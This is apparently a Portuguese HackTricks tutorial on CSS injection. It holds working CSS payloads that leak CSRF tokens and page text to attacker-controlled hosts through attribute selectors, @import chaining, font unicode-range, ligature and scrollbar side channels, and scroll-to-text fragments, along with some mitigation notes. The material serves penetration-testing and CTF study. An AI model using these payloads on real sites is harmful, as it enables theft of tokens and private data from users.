CSS Injection

Support HackTricks

CSS Injection

Seletor de Atributo

Os seletores CSS são elaborados para corresponder aos valores dos atributos name e value de um elemento input. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (type="hidden") porque elementos ocultos não carregam fundos.

Bypass para Elementos Ocultos

Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais ~. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo aqui.

Pré-requisitos para Injeção de CSS

Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:

  1. Comprimento do Payload: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.

  2. Reavaliação de CSS: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.

  3. Recursos Externos: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.

Seletor de Atributo Cego

Como explicado neste post, é possível combinar os seletores :has e :not para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS. Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Combinando isso com a seguinte técnica de @import, é possível exfiltrar uma grande quantidade de info usando injeção de CSS de páginas cegas com blind-css-exfiltration.

@import

A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de enviar múltiplos links para a vítima, ou precisa ser capaz de iframe a página vulnerável à injeção de CSS.

No entanto, há outra técnica inteligente que usa CSS @import para melhorar a qualidade da técnica.

Isso foi mostrado pela primeira vez por Pepe Vila e funciona assim:

Em vez de carregar a mesma página repetidamente com dezenas de diferentes payloads a cada vez (como na anterior), vamos carregar a página apenas uma vez e apenas com um import para o servidor do atacante (este é o payload a ser enviado para a vítima):

@import url('//attacker.com:5001/start?');
  1. A importação vai receber algum script CSS dos atacantes e o navegador irá carregá-lo.

  2. A primeira parte do script CSS que o atacante enviará é outra @import para o servidor dos atacantes novamente.

  3. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.

  4. A segunda e maior parte da carga útil será um payload de vazamento de seletor de atributo

  5. Isso enviará ao servidor dos atacantes o primeiro caractere do segredo e o último

  6. Uma vez que o servidor dos atacantes tenha recebido o primeiro e o último caractere do segredo, ele responderá à importação solicitada no passo 2.

  7. A resposta será exatamente a mesma que os passos 2, 3 e 4, mas desta vez tentará encontrar o segundo caractere do segredo e depois o penúltimo.

O atacante seguirá esse loop até conseguir vazar completamente o segredo.

Você pode encontrar o código original de Pepe Vila para explorar isso aqui ou você pode encontrar quase o mesmo código, mas comentado aqui.

O script tentará descobrir 2 caracteres a cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Isso permite que o script vaze o segredo mais rápido.

Às vezes, o script não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa e continuará avançando (no prefixo) e retrocedendo (no sufixo) e em algum momento ficará travado. Sem preocupações, apenas verifique a saída porque você pode ver a flag lá.

Outros seletores

Outras maneiras de acessar partes do DOM com seletores CSS:

  • .class-to-search:nth-child(2): Isso irá buscar o segundo item com a classe "class-to-search" no DOM.

  • :empty seletor: Usado por exemplo em este writeup:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search baseado em erro

Referência: Ataque baseado em CSS: Abusando unicode-range de @font-face , PoC XS-Search baseado em erro por @terjanq

A intenção geral é usar uma fonte personalizada de um endpoint controlado e garantir que o texto (neste caso, 'A') seja exibido com essa fonte apenas se o recurso especificado (favicon.ico) não puder ser carregado.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de Fonte Personalizada:

  • Uma fonte personalizada é definida usando a regra @font-face dentro de uma tag <style> na seção <head>.

  • A fonte é nomeada poc e é buscada de um endpoint externo (http://attacker.com/?leak).

  • A propriedade unicode-range é definida como U+0041, direcionando o caractere Unicode específico 'A'.

  1. Elemento Object com Texto de Reposição:

  • Um elemento <object> com id="poc0" é criado na seção <body>. Este elemento tenta carregar um recurso de http://192.168.0.1/favicon.ico.

  • A font-family para este elemento é definida como 'poc', conforme definido na seção <style>.

  • Se o recurso (favicon.ico) falhar ao carregar, o conteúdo de reposição (a letra 'A') dentro da tag <object> é exibido.

  • O conteúdo de reposição ('A') será renderizado usando a fonte personalizada poc se o recurso externo não puder ser carregado.

Estilizando Fragmento de Texto para Rolagem

A :target pseudo-classe é empregada para selecionar um elemento direcionado por um fragmento de URL, conforme especificado na especificação de Seletores CSS Nível 4. É crucial entender que ::target-text não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.

Uma preocupação de segurança surge quando atacantes exploram o recurso Scroll-to-text, permitindo que confirmem a presença de texto específico em uma página da web ao carregar um recurso de seu servidor através da injeção de HTML. O método envolve injetar uma regra CSS como esta:

:target::before { content : url(target.png) }

Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso target.png é solicitado ao servidor, indicando a presença do texto. Uma instância deste ataque pode ser executada através de uma URL especialmente elaborada que incorpora o CSS injetado junto com um fragmento Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrator" através do fragmento Scroll-to-text (#:~:text=Administrator). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença para o atacante.

Para mitigação, os seguintes pontos devem ser observados:

  1. Correspondência STTF Constrangida: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.

  2. Restrição a Contextos de Navegação de Nível Superior: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.

  3. Necessidade de Ativação do Usuário: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.

A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias.

Para mais informações, consulte o relatório original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Você pode conferir um exploit usando esta técnica para um CTF aqui.

@font-face / unicode-range

Você pode especificar fontes externas para valores unicode específicos que só serão coletados se esses valores unicode estiverem presentes na página. Por exemplo:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de sensitive-information contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".

Exfiltração de nó de texto (I): ligaduras

Referência: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

A técnica descrita envolve a extração de texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:

  1. Criação de Fontes Personalizadas:

  • Fontes SVG são criadas com glifos que têm um atributo horiz-adv-x, que define uma largura grande para um glifo representando uma sequência de dois caracteres.

  • Exemplo de glifo SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, onde "XY" denota uma sequência de dois caracteres.

  • Essas fontes são então convertidas para o formato woff usando fontforge.

  1. Detecção de Mudanças de Largura:

  • CSS é usado para garantir que o texto não quebre (white-space: nowrap) e para personalizar o estilo da barra de rolagem.

  • A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.

  • O CSS envolvido:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Processo de Exploração:

  • Passo 1: Fontes são criadas para pares de caracteres com largura substancial.

  • Passo 2: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.

  • Passo 3: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.

  • Passo 4: A detecção da ligadura de três caracteres é realizada.

  • Passo 5: O processo se repete, revelando progressivamente todo o texto.

  1. Otimização:

  • O método de inicialização atual usando <meta refresh=... não é ideal.

  • Uma abordagem mais eficiente poderia envolver o truque CSS @import, melhorando o desempenho da exploração.

Exfiltração de nó de texto (II): vazando o charset com uma fonte padrão (não requerendo ativos externos)

Referência: PoC usando Comic Sans por @Cgvwzq & @Terjanq

Esse truque foi lançado neste thread do Slackers. O charset usado em um nó de texto pode ser vazado usando as fontes padrão instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.

O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um div, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:

  1. Prefixo: A linha inicial.

  2. Sufixo: A(s) linha(s) subsequente(s).

As etapas de transição dos caracteres apareceriam da seguinte forma:

C ADB

CA DB

CAD B

CADB

Durante essa transição, o truque unicode-range é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.

Embora esse método permita a detecção de caracteres únicos à medida que aparecem, não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.

Basicamente, o unicode-range é usado para detectar um char, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira. Quando o char é encontrado, ele é dado a fonte Comic Sans pré-instalada, que torna o char maior e aciona uma barra de rolagem que irá vazar o char encontrado.

Verifique o código extraído do PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao esconder elementos (não requerendo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste relatório

Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer chars específicos maiores que outros é esconder algo como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.

Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste relatório

Neste caso, poderíamos tentar vazar se um char está no texto carregando uma fonte falsa da mesma origem:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Se houver uma correspondência, a fonte será carregada de /static/bootstrap.min.css?q=1. Embora não carregue com sucesso, o navegador deve armazená-la em cache, e mesmo que não haja cache, existe um mecanismo de 304 not modified, então a resposta deve ser mais rápida do que outras coisas.

No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag disk-cache-size=1, o que é realmente atencioso.

Exfiltração de nó de texto (III): vazando o charset ao cronometrar o carregamento de centenas de "fontes" locais (não requerendo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste relatório

Neste caso, você pode indicar CSS para carregar centenas de fontes falsas da mesma origem quando uma correspondência ocorre. Dessa forma, você pode medir o tempo que leva e descobrir se um caractere aparece ou não com algo como:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

E o código do bot se parece com isto:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.

Referências

Support HackTricks

Last updated